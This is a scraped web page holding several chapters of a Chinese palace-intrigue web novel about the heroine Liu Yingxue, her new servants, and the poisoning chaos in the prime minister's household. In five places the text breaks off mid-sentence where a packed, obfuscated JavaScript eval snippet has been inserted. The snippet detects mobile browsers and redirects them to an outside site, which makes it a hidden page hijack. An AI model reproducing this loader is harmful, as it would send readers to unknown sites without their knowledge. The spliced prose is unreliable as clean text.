“你!”柳丞相怒极,但又不敢暴露身份,只得压着火气说,“我...我最近...” 话到嘴边,却怎么也说不出口。他堂堂丞相,何曾这般窘迫过? 司大夫见他神色为难,叹了口气:“若是不信,大可另寻高明。” 一连走访了五家药铺,结果都一样。每个大夫都要详细问诊,可他偏偏说不出口。柳丞相心中的怒火越烧越旺,却又无可奈何。 天蒙蒙亮时,柳府突然传来一阵尖叫。 “啊!”揽月阁中,二小姐坐在铜镜前,看着镜中那张布满红疹的脸,失声尖叫。她的丫鬟们手忙脚乱地安慰,却无济于事。 几乎同一时刻,长春院中的二夫人也昏了过去。她的脸上不仅有红疹,还有脓包,散发着难闻的气味。 府中其他姨娘小妾也都遭了殃。有的浑身发痒,抓得皮开肉绽;有的散发恶臭,连贴身丫鬟都掩鼻后退;有的头晕目眩,走路都要人扶着。 高府医被轮番叫去看诊,却束手无策。他擦着额头的冷汗,结结巴巴地说:“这...这症状老夫从未见过...” 而此时的柳映雪,正悠闲地坐在院子里喝茶。 她看着新买来的丫鬟小厮们列队站好,嘴角勾起一抹若有似无的笑意。这些人都是她精挑细选的,每一个都有其特殊之处。 “从今天起,你们就是我院子里的人了。”她的声音不疾不徐,带着一种天然的威严,“都听好了,我这里规矩不多,但是...” 她的目光扫过每个人的脸庞,在最后一排的柳川身上稍作停留。这个少年虽然穿着粗布衣裳,但眉眼间有一股不同寻常的气质。 柳川站在最后一排,目光灼灼地看着这位新主子。他发现,这位小姐和府里其他主子都不一样。 柳映雪立于石阶之上,目光如炬地俯视着院中众人。微风拂过她的衣袖,带起一阵轻微的簌簌声。院中站着约莫五十人,个个神情肃穆,眼中带着几分忐忑与期待。 她的视线在众人脸上缓缓扫过,这些**多是从各个人牙子手中买来的,有的是家道中落的商贾之女,有的是普通百姓家的孩子,还有一些是从乡下来投靠亲戚却被卖掉的可怜人。 “从今日起,你们便是我柳映雪的人。”她的声音清冷却不失威严,在寂静的院落中格外清晰。 话音刚落,院中众人不由自主地挺直了腰背。有几个胆小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505482|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的丫鬟低着头,手指紧张地绞在一起。 柳映雪注意到了这些细节,嘴角微微上扬:“你们只需听从我和我娘亲的命令,其他人无权指使你们。”她顿了顿,继续道,“你们的**契都在我娘亲手中,无人能威胁到你们。” 一阵风吹过庭院,带起几片枯黄的落叶,在空中打着旋儿。几个丫鬟悄悄抬起头,眼中闪过希望的光芒。 “我对你们只有一个最重要的要求——忠诚。”柳映雪的声音陡然变得凌厉,“背叛者,格杀勿论!至于那些吃里扒外之人,我有千百种方法让他生不如死。” 她满意地看到众人脸上浮现出惊惧之色。有几个胆小的丫鬟甚至微微发抖,显然被她的话吓到了。 “当然,”她的语气忽然柔和下来,“只要你们勤恳做事,不偷奸耍滑,不在背后搬弄是非,我绝对会让你们得到应有的回报。每月都有固定银钱,表现优异者还有额外奖赏。具体规矩,我会让朱叔与司管家商议后执行。” 众人眼中的惊惧渐渐褪去,取而代之的是惊喜。窃窃私语声此起彼伏,有人小声议论着这位新主子似乎很好说话。 “第二,令行禁止。”柳映雪继续道,目光严厉,“我下达的命令,必须立即执行。不该问的莫问,不该知道的莫打听。违者重罚!” 她的视线扫过众人,确保每个人都听清楚了她的话。 “第三,护主为先。”她的声音掷地有声,“无论何时何地,保护主子都是第一要务。特别是我娘亲的安全,谁若敢欺负我们,给我打回去!若有人纠缠不休,回来告诉我。有我柳映雪在,天塌下来也替你们扛着。” 话音未落,就听到下面传来倒吸冷气的声音。显然,没人想到这位看起来温婉的小姐会说出如此霸气的话来。 “不错,我就是柳丞相府的大小姐。”柳映雪说道,“记住,在这里,你们只能听从我和我母亲的命令。明白吗?” “奴才明白!” “奴婢明白!” 整齐的应答声响彻院落。 “很好。”柳映雪满意地点点头,目光在众人身上逡巡,“现在,识字的和有特长的站出来。” 七个丫鬟怯生生地走出人群。她们站成一排,紧张地看着台阶上的主子。 “大小姐,我力气大算特长吗?”一个圆脸丫鬟鼓起勇气问道。她的脸颊红扑扑的,眼中带着期待和忐忑。 第十七章 立规矩 柳映雪看着这个微胖的丫鬟,不禁莞尔。这丫头倒是实诚,虽然看起来有些笨拙,但眼神清亮,应该是个可靠的。 “算。”她点头道。 得到肯定的答复,圆脸丫鬟眼睛一亮,赶紧站到那七个人旁边。 这时,又有一个瘦小的丫鬟怯生生地举起手:“小姐,奴婢会绣花。” 柳映雪示意她也站出来。现在一共有九个人站在前面,她仔细打量着这些人,心中已有计较。 “娘亲,”她转头看向身旁的朱氏,“我给您挑五个人。” 她给母亲挑选了五个,其中包括那个力气大的胖丫鬟,剩余的部分归我。 “雪儿,这帮人对我来说实在是太多了。”朱氏轻声说道,眉宇间带着几分担忧。 “娘亲,这些都是贴身大丫鬟,其他杂役让朱叔和司伯安排就好。”柳映雪坚持道,“您的身边不能没有可靠的人。” 安排完人手,柳映雪让朱叔和司伯带着其他人退下,只留下柳川和几个新选的丫鬟。 “你们都有自己的称呼吗?”她问道。 “请小姐赐名。”众人齐声应道,声音恭敬。 看到女儿疑惑的眼神,朱氏解释道:“雪儿,这是规矩,新主子要赐新名字。这样也能让她们彻底告别过去,开始新的生活。” 朱氏给自己的五个丫鬟分别取名晓、暖、秋、雪,还有小丫。名字简单易记,却也暗含着晓暖花开,四季轮转的美好寓意。 柳映雪为自己的四个丫鬟命名:“青莲、梅枝、紫薇、川花。”这些都是她熟悉的药材名,既好记,又与她的兴趣相符。 等朱氏带人离开后,柳映雪单独留下青莲。这个丫鬟看起来最是机灵,举手投足间透着几分大家闺秀的气质。 “你以前是做什么的?”她问道。 青莲跪在地上:“回小姐。”她的声音有些颤抖,“奴婢家原本也是富甲一方的商户,却因遭人暗算,一夜之间家破人亡。” 柳映雪坐在檀木雕花椅上,纤细的手指轻轻摩挲着茶盏边缘。她的目光如一泓秋水,平静地注视着跪在地上的青莲。茶香与檀香交织,在这方寸之间营造出一种难言的压抑。 “说说看,是谁害了你们?”她的声音轻柔,却带着不容置疑的威严。 青莲咬了咬唇:“那家人与官府勾结甚深。我爹不过是个商人,他们设计陷害,将我爹活活打死。我娘......”她的声音哽咽了一下,“我娘受不住打击也随之而去,小弟更是不知所踪。他们还带着官府来抄家,将我们全府上下都卖给了人牙子。” 屋内的空气仿佛凝固了。一旁的丫鬟们低着头,不敢发出声响。 “你想报仇?”柳映雪放下茶盏,瓷器与托盘相碰发出清脆的声响。 青莲猛地抬头。 她没想到小姐会如此直白地问出这句话。月光从窗棂斜斜地洒进来,为她苍白的脸庞镀上一层淡淡的银辉。 “说实话。”柳映雪的目光依旧平静,仿佛在谈论一件再平常不过的事情。 “想!”青莲重重地叩首,额头贴在冰凉的地砖上,“奴婢做梦都想报仇,可是......”她发出一声苦笑,“奴婢不过一介女子,又有何能耐?” 柳映雪站起身来,裙裾轻拂过地面。她走到青莲面前,居高临下地看着这个曾经富贵人家的小姐,如今却沦为婢女的可怜人。 “起来吧。”她的声音中带着温和,“跟着我,没有什么不可能。说说你想如何报复他们?” 青莲缓缓起身,眼中的惊慌已然褪去,取而代之的是一种释然。 压在心底多年的秘密终于说出,仿佛卸下了千斤重担。她整理了一下凌乱的衣裳,深吸一口气。 “奴婢想让他们也尝尝家破人亡的滋味。”她的声音低沉而坚定,“他们觊觎我家财产,用卑鄙手段害死我爹娘。我要让他们的生意也败落,让他们也知道失去亲人的痛苦。” “你可懂经商之道?”柳映雪回到座位,重新端起茶盏。 “回小姐,奴婢从小跟着父亲走南闯北,商铺上下的事务都略知一二。”青莲的眼中满是自信。 柳映雪轻轻点头:“很好,我会给你机会的。不过眼下还有更重要的事要做。” 青莲再次跪下,这一次她的动作不再慌乱:“多谢小姐!” “起来。”柳映雪蹙眉,“我这里不兴动不动就跪。记住一点,忠心便够了。”她的目光扫过一旁的三个丫鬟,每个人都不由自主地挺直了腰背。 “是,小姐。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505483|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”四人齐声应道,声音清亮而坚定。 柳映雪转向站在门边的柳川:“过来。” 柳川快步上前,恭敬行礼:“小姐有何吩咐?” “伤势如何?” “已好了八成,多谢小姐的药丸。”柳川心中暗自惊叹,一颗药丸竟有如此神效,往日这般伤势至少需要卧床七八日。 柳映雪从袖中取出一个精致的瓷瓶,倒出一粒晶莹剔透的药丸递给他:“吃了这个,明日就能痊愈。” 柳川毫不犹豫地接过药丸服下。药丸入口即化,一股暖流顿时流遍全身。 柳映雪又从身边的檀木匣中取出一叠银票递给他:“过两天去看个好房子,最好离这山近些。其他事宜等买好宅子再说。” “是。”柳川接过银票,小心翼翼地收好。 待柳川离开后,柳映雪带着四个丫鬟回了闺房。 与此同时,柳府内一片混乱。 柳丞相刚踏入府门,就见下人们慌乱奔走,有的端着药碗,有的抱着热水,神色匆忙。他皱眉唤来司叔:“去看看怎么回事。” 话音未落,一名侍卫快步而来,额头上还挂着汗珠:“相爷,二夫人、二小姐还有府中姨娘们,都突然满脸红疹流脓,府医也束手无策。” “老太君如何?”柳丞相的声音中带着紧张。 “老太君无恙,已服药歇下。” 柳丞相正要吩咐请大夫,一阵凌乱的脚步声传来。 “父亲!”一声尖锐的哭喊打破了短暂的宁静。柳书兰跌跌撞撞地冲了过来,她那张原本精致的脸庞此刻布满红肿的疙瘩,有些还渗出了黄色的液体,“您快看看我这张脸,这可怎么办?我还怎么见人?” 柳丞相看着女儿的模样,胃部一阵翻涌。他下意识地后退半步,强压下心中的不适,挥了挥手:“先回房等着,王府的御医已经在路上了。” “老爷!”一个丫鬟慌慌张张地跑来,差点撞到柳书兰身上,“不好了!二夫人说要...要寻死!” 柳丞相闻言,脸色骤变。他顾不得安抚柳书兰,大步朝二夫人的院子疾走而去。 柳书兰跟在父亲身后。她太了解自己的母亲了,这分明是在演戏给父亲看。每次想要什么,母亲总会用这一招。 第十八章 没颜面见人 果然,还未进院门,便听到里面传来撕心裂肺的哭声:“老爷平日里最是疼我,如今我这般模样,还有何颜面见人......” “夫人莫要想不开啊!” “夫人快放下剪刀!” 丫鬟们七嘴八舌地劝着,声音中带着惊慌。 柳丞相听着这番话,心中不由一软。他快步走进院子,只见二夫人手持剪刀,做出一副要自尽的模样。虽然她现在的样子让他有些反胃——那张平日里精心打扮的脸上布满红疹,但多年夫妻的情分还是让他迈步上前。 “夫人何必如此?”他强忍着不适拉住她的手,“本相一定会找最好的大夫医治。” 二夫人立刻扔掉剪刀,扑进他怀里:“相爷,妾身知道错了,只是这张脸......”她的声音哽咽,“妾身这辈子最在意的就是容貌,如今变成这般模样,还不如**算了......” 就在这时,又一个丫鬟匆匆而来:“老爷,高姨娘那边也出事了!说是浑身瘙痒难耐,已经抓破了好几处皮肤......” 二夫人眼中满是怨毒,但面上却是一派贤惠:“老爷快去看看妹妹吧,她性子急,可别做出什么傻事来。” 柳丞相闻言欣慰地点点头,转身离去。 待他走后,二夫人脸上的温柔瞬间消失,眼中满是阴狠:“**,早晚让你好看!”她狠狠地摔碎了手边的茶盏。 柳书兰在一旁不满地嘟囔:“娘,您怎么能让父亲去看那个**......” “傻女儿。”二夫人冷笑一声,拉着女儿坐下,“现在最重要的是除掉大夫人。只要她一倒,你就是府中唯一的嫡女。至于高氏那个**,迟早收拾她。” “可是大姐已经指婚给摄政王了......”柳书兰咬着嘴唇,眼中满是嫉妒。 “哼,”二夫人眼中寒光闪烁,“她能不能活到成亲那天还不一定。你父亲最在意的是什么?是官位。只要让他相信大夫人会危及他的前程......” 话未说完,意思却已十分明显。母女二人对视一眼,眼中是阴谋得逞的笑意。 此时的柳丞相已经来到高姨娘的院子。看到高姨娘虽然浑身发痒,但脸上并无异状,他不由松了口气。 “老爷......”高姨娘楚楚可怜地望着他,纤细的手指在身上不停地抓挠,“妾身好难受......” 柳丞相心疼地将她揽入怀中:“别怕,大夫马上就到。”他轻轻拍着她的背,“别抓了,会留疤的。” 看着相爷温柔的样子,高姨娘眼中得意。她知道,自己在相爷心中的地位,可不是那个整日端着架子的二夫人能比的。 就在这时,外面传来一阵急促的脚步声。 “老爷!”管家气喘吁吁地跑来,“大...大夫人那边......” 柳丞相脸色一变:“怎么了?” “大夫人说,她知道是谁下的毒!”管家擦了擦额头的汗,“她说...说是......” 话未说完,院外突然传来一阵喧哗声。 “大夫来了!” “快请大夫进来!” “先去看看二夫人!” “不,该先看高姨娘!” 下人们七嘴八舌地争吵着,整个柳府陷入一片混乱之中。 丫鬟匆匆领着大夫穿过庭院的回廊,脚步声在寂静的夜色中格外清晰。。 柳丞相立在高姨娘院落的檐下来回踱步,听到脚步声立即转身。他的目光越过丫鬟,直接落在司大夫身上,脸上写满焦虑。 “司大夫,快请。”柳丞相快步迎上前,声音中带着几分急切。 司大夫跟着进了内室,高姨娘正倚在榻上,面色苍白如纸。她强撑着要起身,却被柳丞相轻轻按住了肩膀。 “别动,让大夫好好看看。”柳丞相的声音难得温柔。 司大夫坐到床边,搭上高姨娘的脉搏。随着诊脉的进行,他的眉头渐渐拧成了川字。 “大夫,如何?”柳丞相站在一旁,目不转睛地盯着司大夫的表情变化。 司大夫缓缓收回手,捋了捋胡须:“回禀相爷,夫人这症状很是蹊跷。脉象显示像是食用了什么不干净的东西,但又与寻常的食物**不太相同。” 高姨娘强忍着浑身的瘙痒,勉强挤出笑容:“有劳大夫了。这些日子总觉得浑身不适,今日更是难熬。” 她的手指无意识地抓挠着衣袖,指甲在锦缎上留下道道痕迹。柳丞相注意到她的动作,眼中闪过一丝心疼。 “老夫先开个方子,以清热解毒为主。若三日内症状无减,还需另做打算。”司大夫一边说着,一边在药方上快速书写。 丫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505484|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬟小荷接过药方,转身要去抓药。这时,外头突然传来一阵急促的脚步声。 长春院的小竹闯了进来,额头上还带着细密的汗珠:“启禀老爷,二小姐那边...二小姐说脸上疼得厉害,二夫人让奴婢来请老爷过去。”她顿了顿,压低声音补充道,“二夫人说,若是耽误了二小姐的婚事,那可如何是好?” 柳丞相的表情瞬间变得凝重。他看了眼高姨娘,又看了看司大夫,眉头紧锁:“对对对,司大夫快随我去看看书兰。” 高姨娘望着柳丞相匆忙离去的背影,眼中黯然。她早已习惯了这样的场景——每次老爷来她这里,那位二夫人总有办法把人叫走。 待人都走后,小荷轻声安慰道:“姨娘别生气。老爷最是疼你,这府里谁不知道?你想啊,既然都能让二房娘子平起平坐了,为何不能把姨娘你也...” “住口!”高姨娘厉声打断,“这种话以后莫要再提。” 小荷低下头,眼底闪过一丝不易察觉的算计。她垂着眼帘,手指不自觉地绞着衣角。 司大夫随着柳丞相来到二夫人院中,一进门就听到柳书兰的哭声。只见她坐在铜镜前,双手紧紧捂着脸,指缝间依稀可见皮肤上泛起的红斑。 “让我看看。”司大夫上前几步。 柳书兰放下手,露出满是红肿的脸。司大夫定睛一看,不由倒吸一口凉气。只见她原本白皙的脸庞上布满了大小不一的红斑,有些地方甚至开始结痂。 “小姐这症状,老夫行医数十载,还是头一遭见。”司大夫仔细诊过脉后说道,“似是**,又不尽然。老夫先开些消肿化脓的药试试。” “你这庸医!”柳书兰猛地站起身,“什么叫似是非是?我可是要成亲的人,你知道耽误了我的婚事要赔多少银子吗?” 司大夫面色一沉,拱手道:“老朽医术实在有限,请另请高明。”说罢便要转身离去。 “兰儿!”柳丞相厉声喝道,“若你再无理,为父便不再为你请大夫!” 柳书兰这才噤声,但眼中依旧带着不甘和怨恨。二夫人连忙上前安抚:“兰儿乖,让大夫好好看看。” 司大夫重新诊脉,开了一张方子。随后又去看了府中其他几位出现类似症状的人,都开了相似的药方。 柳丞相府内一片混乱,下人们慌乱地四处奔走 第十九章 王府不留女眷 与此同时,摄政王府。 青石铺就的小径上落满了梨花,随着脚步声簌簌作响。绿竹快步走向书房,脸上带着几分焦急:“王爷,华神医带着他的徒弟来了。” 萧寒瑾放下手中的奏折:“他倒是会给自己找替身。” 话音未落,一袭白衣的女子已经出现在书房外。 顾雨婉站在那里,面纱下的眸子直直望向萧寒瑾。她的身姿婀娜,举手投足间带着几分江南女子特有的柔美。 “王爷,民女此来是为了替您调理身体。”她的声音温柔似水,仿佛能沁入人心。 萧寒瑾眉头微皱,目光冷淡:“本王不需要。” “可是王爷,”顾雨婉往前走了一步,语气骄傲,“整个青云国,除了家师,再无人能与我的医术相比。更何况,王爷体内的寒毒已经......” “是吗?”萧寒瑾打断她的话,目光如刀,“那你可知道,本王体内的毒,为何会在近期突然失衡?” 顾雨婉一怔,显然没料到萧寒瑾会这么问。 “滚。”萧寒瑾只吐出一个字,“告诉你师父,本王的命,不是他能动的。” 绿竹立刻上前:“顾姑娘,请吧。” 顾雨婉咬着唇,不甘心地退了出去。她怎么也想不到,自己精心准备多年的计划,会在今天这样被粉碎。走出摄政王府大门时,她的指甲深深掐入掌心。 待人走后,绿竹低声道:“王爷,要不要查一查华神医最近的动向?” “不必。”萧寒瑾淡淡道,目光落在窗外的梨花上,“柳映雪既然已经看出了问题所在,就让她继续查下去。本王倒要看看,这背后到底是谁在兴风作浪。” 提起柳映雪,他的眼神不自觉地柔和了几分。 那个总是带着几分狡黠的小丫头,似乎总能给他带来意想不到的惊喜。就像上次,她一眼就看出他体内的寒毒有异常...... “王爷,”绿竹犹豫了一下,“柳小姐虽然医术了得,但毕竟......” “你是在质疑本王的判断?”萧寒瑾眼神一冷。 绿竹连忙低头:“属下不敢。” 绿竹从未见过王爷如此在意一个女子的感受,这让他不禁回想起前几日的情形。 那日王爷竟然主动问起了顾雨婉的情况。 要知道,往日里但凡有女子靠近摄政王府,不出三日必定被赶出府去。 可这次,王爷不仅让顾雨婉在府中住了半月有余,还特意吩咐厨房准备她爱吃的糕点。 这可是天大的好事。 绿竹正沉浸在自己的思绪中,突然一道熟悉的声音在耳边响起:“绿竹,你在傻笑什么?” 绿竹被吓得差点跳起来,转身看到绿风不知何时已经站在身后,“你这人怎么跟鬼一样!走路都没声音的吗?” 绿风挑了挑眉,凑近问道:“我不在的这些天,摄政王府发生什么大事了?怎么让你笑得跟个傻子似的。” 绿竹压低声音,眼中闪着兴奋的光芒,“王爷有心上人了。” “谁?”绿风立刻来了精神,眼睛瞪得老大。 就在绿竹准备开口时,书房内传来王爷低沉的声音,“绿风回来了?” 绿竹顿时打了个寒颤,赶紧溜之大吉。让绿风自己应付王爷吧,反正他也不想被牵连。 绿风整理了一下衣襟,推门而入,“王爷,属下回来复命。” 萧寒瑾正在批阅奏折,案几上的烛火映照着他俊美的侧颜。听到声音也只是淡淡地问道:“青岩军的事情如何?” “已按计划安排妥当,东方公子也开通了粮道,三年之内应无大碍。”绿风恭敬地回答。 “嗯,下去吧。”萧寒瑾头也不抬,继续专注于手中的奏折。 绿风退出书房,心中暗自盘算。王爷有了心上人? 这可是天大的新闻。他得赶紧去找绿竹问个清楚。 与此同时,绿竹已经来到了华神医的院落。老者正在庭院里整理草药。 “华神医。”绿竹轻声唤道。 华神医抬头,和蔼地笑道:“绿竹来了,有事?” 这时顾雨婉从屋内走出,眼眶还泛着红,显然是刚哭过。看到绿竹时,她冷冷地别过脸去,纤细的手指紧紧攥着衣角。 绿竹也懒得理会她的小性子,直接说道:“王爷有令,请顾姑娘即刻离开摄政王府。我们摄政王府向来不留外姓女眷。” “你!”顾雨婉眼泪又要掉下来,声音微微发颤,“我、我不走!” 华神医赶紧拉住徒弟的手,对绿竹说:“劳烦绿侍卫了,我这就安排柔儿去外面客栈住。” “半炷香内请收拾完毕。”绿竹说完转身就走,背影挺拔如松。 “师父...”顾雨婉委屈地看向华神医,泪珠在眼眶中打转。 “傻丫头,为师自有安排。”华神医轻轻拍了拍徒弟的手背,“你先去客栈住下,我定让你如愿以偿。” 顾雨婉咬着下唇,眼中满是执着。 “去吧,收拾东西。”华神医叹了口气,看着徒弟走进屋内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505485|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 院子里的风轻轻吹过,带起几片落叶。华神医望着天空,他知道,这个傻徒弟已经深深爱上了王爷,可摄政王府的规矩向来森严。想要留在王爷身边,光靠一腔真心是远远不够的。 与此同时,柳丞相府正闹得不可开交。 “老爷,碧玉阁的司妈妈来讨债了。”下人气喘吁吁地跑进来禀报。 柳丞相皱眉,放下手中的茶盏,“让她去找二夫人。” “二夫人说库房没银子了。”下人为难地说道。 “罢了,让她进来吧。”柳丞相揉了揉太阳穴。 司妈妈一进门就堆起笑脸,脸上的褶子都挤到了一起,“见过丞相大人。” “有事直说。”柳丞相语气不耐。 “是这样的,二夫人那边说没银子,我这碧玉阁上下都等着吃饭呢...”司妈妈搓着手,小心翼翼地说道。 柳丞相翻看着账目,数目确实不小。这些年来,二房的开销越来越大,再这样下去,怕是要把整个丞相府都败光了。 “去请二夫人来。” 没过多久,戴着帏帽的二夫人款款而来,“相爷唤我?” “把司妈妈的账结了。”柳丞相直接说道。 二夫人微微一顿,声音里带着几分为难,“可是库房真的没银子了,要不...去大夫人的凤栖楼拿些银票?” 柳丞相眼前一亮,“司叔,你即刻去酒楼取银票来。” 二夫人嘴角勾起一抹得意的笑。这笔账,她才不会从自己的私房钱里出。大夫人那个老女人不是最会赚钱吗?就让她出这个血好了。 就在这时,外面又传来一阵喧哗声。 “老爷!不好了!”又一个下人慌慌张张地跑进来。 “又怎么了?”柳丞相觉得太阳穴突突直跳。 “大少爷在醉月楼赌钱,输了整整十万两!现在人家上门讨债来了!” “什么?”柳丞相猛地站起来,茶盏被打翻,茶水洒了一桌。 二夫人也吓了一跳,连忙说道:“相爷息怒,我这就去把那孽子找回来!” “不必了。”柳丞相冷冷地说,“让他自己想办法。这次我不会再替他还债了。” 二夫人急了,“相爷,他再怎么说也是您的亲生骨肉啊!” “亲生骨肉?”柳丞相冷笑一声,“他可曾想过自己是丞相府的大少爷?整日里不务正业,就知道吃喝玩乐。这样的儿子,留着有什么用?” 二夫人还想说什么,柳丞相已经摆手示意她退下。 第二十章 丞相府没钱了 司叔快步穿过长廊。 “老爷。”司叔推开书房的门,压低声音道,“凤栖楼的孙掌柜说......”他犹豫了一下,目光闪烁,“说没有大夫人的印章,一文钱也不会给。” 柳丞相正在批阅公文,听闻此言,手中的朱笔顿时一顿。 他缓缓抬头,眼中闪过一丝狠厉,但随即又被压制下来——碧玉阁的司妈妈还在一旁等着。 “二夫人。”他转向坐在一旁的司氏,声音平和中带着不容置疑,“劳烦你去库房取些银两,本相相信你定能解决这点小事。” 司氏的手指微微颤抖。那双平日里温和的眼睛此刻像是结了一层寒霜,让人不寒而栗。她低垂着头,轻声应是,起身向库房走去。 长长的回廊上,司氏的脚步有些虚浮。秋风吹过,带起她的裙角。自从大夫人离开,府中的银钱就像是流水一般,怎么也留不住。 偌大的库房此刻显得格外冷清。司氏站在门口,望着眼前的景象,心中一阵酸涩。往日堆满珍宝的架子上如今已经空了大半。 柳丞相本就根基不深,这些年的光鲜亮丽,全靠大夫人的嫁妆支撑。 “晓菊,”她唤来贴身丫鬟,“去把我的那套翡翠头面拿来,再把库房里值钱的物件都找出来。” 晓菊的眼中闪过不忍,但还是快步去办。很快,一堆首饰摆在司氏面前。她一件件挑选出来。 “这些......”晓菊欲言又止。 “我知道,这些原本是要留给兰儿做嫁妆的。”司氏苦笑,“但现在也顾不得那么多了。快去找高掌柜来,让他给这些估个价。” 不多时,几张银票摆在司氏手中。她数了数,又从自己的私房钱中取出一些补上。 看着手中的银票,她的心如刀割。那些典当的物件,原本是要留给女儿的,如今却要拿去应付司妈妈。 回到书房,司妈妈见到银票,立刻笑逐颜开:“丞相大人真是好福气,有这么贤惠能干的夫人。” 等司妈妈离开,二夫人再也忍不住,红了眼圈:“老爷,库房已经空了,连给兰儿的嫁妆和远儿的束脩都用上了。” 柳丞相听闻连儿子的束脩都拿出来了,脸色更加阴沉。他猛地站起身,茶盏被带倒,茶水洒了一桌。“去找大夫人!”他对司叔厉声道,“告诉她,要么交出这个月的银票,要么就别想继续做这个大夫人!” “可是老奴不知道大夫人的住处......”司叔弯着腰,声音中带着惶恐。 “一家一家找!”柳丞相怒吼,声音在书房中回荡。 司叔连忙退下。二夫人垂首掩面,帏帽下的眼中却闪着兴奋的光芒。务必想办法让这大夫人从高位跌落,这些银钱就不算白花。假如大夫人被贬为妾室,她就能名正言顺地接管那些嫁妆了。 此时的柳映雪却顾不上这些纷争。 “小姐,做好了。”梅枝献上成品,眼中带着期待。 柳映雪仔细检查着每一道针脚,满意地点头:“你的手艺真不错,和我想象的一模一样。”她抬头看向屋内的丫鬟们,“你们先出去,我要试试。” “让奴婢伺候小姐更衣吧。”梅枝上前一步。 “不用了,我自己来就好。”柳映雪摆摆手,“没有我的吩咐,这地方,绝不许任何人踏入一步!。” 等丫鬟们退下,柳映雪松了口气。她可不习惯在人前更衣。房间里只剩下她一人。 穿上新衣,她在镜前转了一圈。衣服的剪裁恰到好处,既不会影响活动,又保持了应有的优雅。她舒展四肢,感觉和前世的练功服一样舒适。 刚换回常服,青莲的声音就从门外传来:“小姐,柳川说有要事找您。” 柳映雪挑眉,没想到他办事这么快。她整理了一下衣襟,“走吧,去前厅看看。” 柳映雪缓步走进前厅,一眼就看到了柳川正恭敬地站在那里等候。 “卑职向小姐问好。”柳川上前,微微躬身行礼。 柳映雪停下脚步:“有事?”她的语气平淡。 “回小姐,属下已经买到了院子。”柳川脸上露出喜色,声音也不自觉地提高了几分,“就在附近,是个三进的大宅院。原主人是个商人,眼下生意一蹶不振,实在囊中羞涩,价格也十分合适。” 柳映雪微微挑眉,眸光闪动。她没想到事情进展得如此顺利,这倒是个意外之喜。院子的事情解决了,接下来就可以按计划行事了。 “很好。”她轻轻点头,“今日好生养伤。明早吃完早饭,我在前厅等你,我还有其他事要交代。” “是,小姐。”柳川应声退下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505486|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚步轻快而坚定。 柳映雪转身对身后的丫鬟说道:“去娘亲那里看看。” 穿过回廊,空气中飘散着淡淡的花香。来到朱氏的房间,只见几个丫鬟正忙着量布裁衣,屋内一片热闹景象。 “娘亲这是?”柳映雪站在门口,看着满屋的锦缎绫罗。 朱氏正在指点丫鬟们裁剪,听到女儿的声音,眼中立刻泛起笑意:“雪儿快来。”她放下手中的活计,拉着女儿的手走到桌前,“娘给你准备几身新衣裳。以前你总是卧病在床,得好好把你打扮得光彩照人。” 朱氏爱不释手地抚摸着那些上等锦缎,眼中满是慈爱:“这些都是给你准备的。我听说京城评出什么四美,在娘亲眼里,她们都比不上我的雪儿。” 柳映雪看着母亲脸上洋溢的笑容,心头一暖。记忆中的母亲总是愁眉不展,如今终于重见笑颜。她轻声道:“娘亲,我还在长身体,做太多怕是穿不了多久。” “无妨,娘亲每年都会精心为你准备。”朱氏笑着说道,手指轻轻抚过一匹暗红色的锦缎,“你看这料子多好,做件外衫正合适。” 